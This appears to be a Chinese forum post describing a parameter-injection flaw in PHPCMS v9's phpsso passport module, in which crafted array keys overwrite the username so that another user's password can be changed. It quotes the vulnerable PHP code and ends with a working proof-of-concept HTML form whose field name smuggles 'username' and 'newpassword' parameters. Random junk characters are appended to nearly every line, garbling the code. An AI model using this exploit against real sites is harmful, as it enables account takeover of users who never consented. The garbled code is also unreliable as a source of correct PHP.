提到的通行证的代码:
' v I2 P3 U: f% X. O. O# |4 p3 S
`4 i) b; B2 P1 C y+ d; G2 L5 e9 {5 q$ v5 m8 o
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
) {; M1 k, e. G2 s
0 L* R" e4 h& |/ [% \9 d; \$ y, _' i! x在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
" }: m/ H& d3 ]' a! Y
# S4 }/ j9 g; ?# j& A6 G我把它留给了你们。
+ O" U- ^$ h% y) V5 J+ }; [不知道你们发现了它没有。- |) `' A$ y: Z: R+ a- J, `- r
3 n4 b* P K8 j7 U3 L4 e0 ^2 }' ]
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。( B0 F1 T3 ]) S7 n5 E) m6 V, k
+ P# F6 C; R- k8 c
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
( d# s% I4 w& p4 M2 \( D& K: w( b7 W" q1 V& m [7 y# P
也就是
& [! Q& f" u: m( p9 A1 O" l; z
2 p) m% [( n) Susername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
1 t( H7 P0 Q. J. A; {
% E! {' @' r0 ?要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。/ r$ E( N7 e4 }
# ^" v _% v- J) E. b2 X6 r6 \. l
) E* k: R; ?, \' L7 D: g2 ]其实我们有这样的机会,看看代码,如下:
1 M% `" V {3 g6 x3 l
8 c2 R# T# |. C6 g4 X( t' q9 M, g) R8 ~+ ?: e4 p9 K
public function auth_data($data) {" W r* G8 a* f$ [1 N& |( h
$s = $sep = '';
: F5 C( ]1 S1 f2 x- x, _ w7 s" I foreach($data as $k => $v) {! e3 N% }. t f3 ^
if(is_array($v)) {
, p" T* Y) `7 ]; L6 m0 z+ z6 m $s2 = $sep2 = '';9 W' `, f1 j* t. ?: w9 ~9 L
foreach($v as $k2 => $v2) { r* T( t( e' K; V; o7 Y k6 e; \
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);7 b) `8 J. C7 N" e* i
$sep2 = '&';
5 e2 i9 ^# h; U }
9 I V8 k% k# p- D/ ] $s .= $sep.$s2;: s4 G9 y$ B& l$ N6 g ~
} else {5 B% W- x8 U9 e& ]
$s .= "$sep$k=".$this->_ps_stripslashes($v);
2 _: Z" G" t3 N0 D1 X8 i" c$ P }9 b9 U; B. K* P# [( L9 S
$sep = '&';2 U7 X5 C( k$ y! X- W
}
3 |1 Y) o% u, f* C! w
/ B2 V' S' M* H! ^) A: A5 a $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
2 t( r: i; d9 C& l. r# S7 S3 y8 T7 d; O return $auth_s;
5 u. L( {$ H, L6 ]* ? W }
( G% w' w: x/ P/ }0 k1 M9 b) N
. L0 I0 n8 z$ G* |& v- _可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。' g+ u5 y) v! H/ | j2 d
. F, ?& H. ]( \5 Z5 @: F6 g7 X- F
举个例子5 i$ c) C5 z# i/ w; n+ H
4 {) y, L/ G$ o% u$a[aaa=a&bbb] = 'a'; }3 I1 u( T6 r$ V' y" @$ D
( A% M# V0 A! x+ o/ f( F
会变成aaa=a&bbb=a
5 z+ b! w y ^6 l. A8 e1 D. i# d/ T! G; _0 G
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
+ ~0 X4 ^# D- t1 {) A, e8 d% @# ?# r6 B
这个时候,我们可以再去看一个函数。1 X9 w! x2 H) E/ R; a; O; ?* H# H
' H7 T+ {' L6 V9 y+ ^ G4 D; r U
就在这个文件内:
/ k( G1 q' o; I3 X
' Z% f+ d, B- q% K# e: E% S' Y" q9 p. `& U2 C7 X P. h& _
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {+ c. r4 G1 d8 `! r) @
if($email && !$this->_is_email($email)) {
: e2 ^5 A/ l6 N! L3 H6 H7 G return -4;
) B, C; S8 Z. D/ E. q9 @ }
( }& l7 w0 h1 _ return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));1 w4 y; o; @; d+ q& c4 h {8 y N
}
8 V" n x/ I6 V) |1 T' V
3 ~9 A1 D: A& E: X3 A- t: v这是向通行证发了这样一个请求。3 P% L$ t: \, \9 @. B
' g& B& i6 a7 }我们再跟到通信证代码里去看看,就会有所发现。
0 m) d$ @% R& Y: Z5 l7 _5 t' a: e# n9 a. ?( L/ f! n
& `$ G) ]+ u3 ?* D" o% {
public function edit() {
+ ^( y% O" Y [8 i) u$ z9 u, v//能省就省,太长了不是吗?7 [/ U3 }+ A. }& L% ^9 W. h
! X8 n! S; ]+ S# I
if($this->username) {
/ @0 F2 w( _/ L! E' M//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
! k! O) C" T. V0 _ $res = $this->db->update($data, array('username'=>$this->username));8 e' R! g: i) ~- r
} else {7 n* a% T& [, O
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
: D! Z+ E7 d* C- R. D. a $res = $this->db->update($data, array('uid'=>$this->uid));
! E) j5 U- K2 i0 x" W& f! A }
4 K7 [) c6 d( H( ?: y+ F9 D* w3 e( t+ R$ r& _
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
- D" x% W: K( g/ R ]/ `
. I2 w, A9 W7 g7 Qpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')% X' }4 q" }& N7 e- I4 v4 k8 K" E8 m
g# r' Z6 G; d( y很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
+ t2 _, v5 n9 M/ T9 q
6 [0 i& m+ w5 h8 h/ k8 S" D# N我当然找到了:
' j0 K* d0 E7 V+ g# p1 B7 H; ^9 F! H$ Yphpcms9/phpcms/modules/member/index.php% @: k: N) s" i* W9 O
& ?$ Q1 V: z7 u6 k* F# s+ S: N$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
+ j' {8 z/ ^% J# p) E9 K1 I6 C/ T2 R( v
然后就没有然后了。
8 o+ U8 [$ R: v6 y5 v
# W7 X5 X, r3 O1 x" U<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">' E, V9 z x, a! q9 _5 {3 `2 x
<table width="100%" cellspacing="0" class="table_form">
5 }9 f9 i8 V2 X7 O' E: t1 I$ A <tr>0 S- Q: X% ^( J7 B8 {1 ~: }
<th width="80">邮箱:</th>
! x) B! u" V( d7 K <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>/ I* q) Y' S# a9 W5 D5 Y& ?6 s
</tr>
" ^& L. Q5 ]3 G; s! w <tr>* q$ ]% z7 r; l# B4 b6 i0 S
<th width="80">原密码:</th> 7 u% _. }' y8 ~9 B
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>0 {# q4 M) J; j) @3 I$ `" v ]4 |
</tr>- Z8 x! H( S- y0 z3 M; h
<tr>
1 P, z: Y3 `+ b0 o <th>新密码:</th>
% v/ Z+ }& ^$ w5 I o1 @ l6 g5 g <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
! P8 [4 `1 A* [' w; Z0 Z G- E4 y </tr>
" q7 W7 _ j, n2 V" w6 v <th></th>
4 `, c5 v: q- F1 P$ E @+ | <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>$ n- {$ i; u, @! W/ | I3 l
</tr>3 E6 f3 [& H$ R- e5 _/ {6 [$ m `
</table>9 G) b/ A( Y' P
* K, p% o6 X! d1 W1 J0 O6 z* b+ V
- d8 x: L! \( L) ~3 o6 j7 m
</form>
% i% o( S0 p- o& m! s |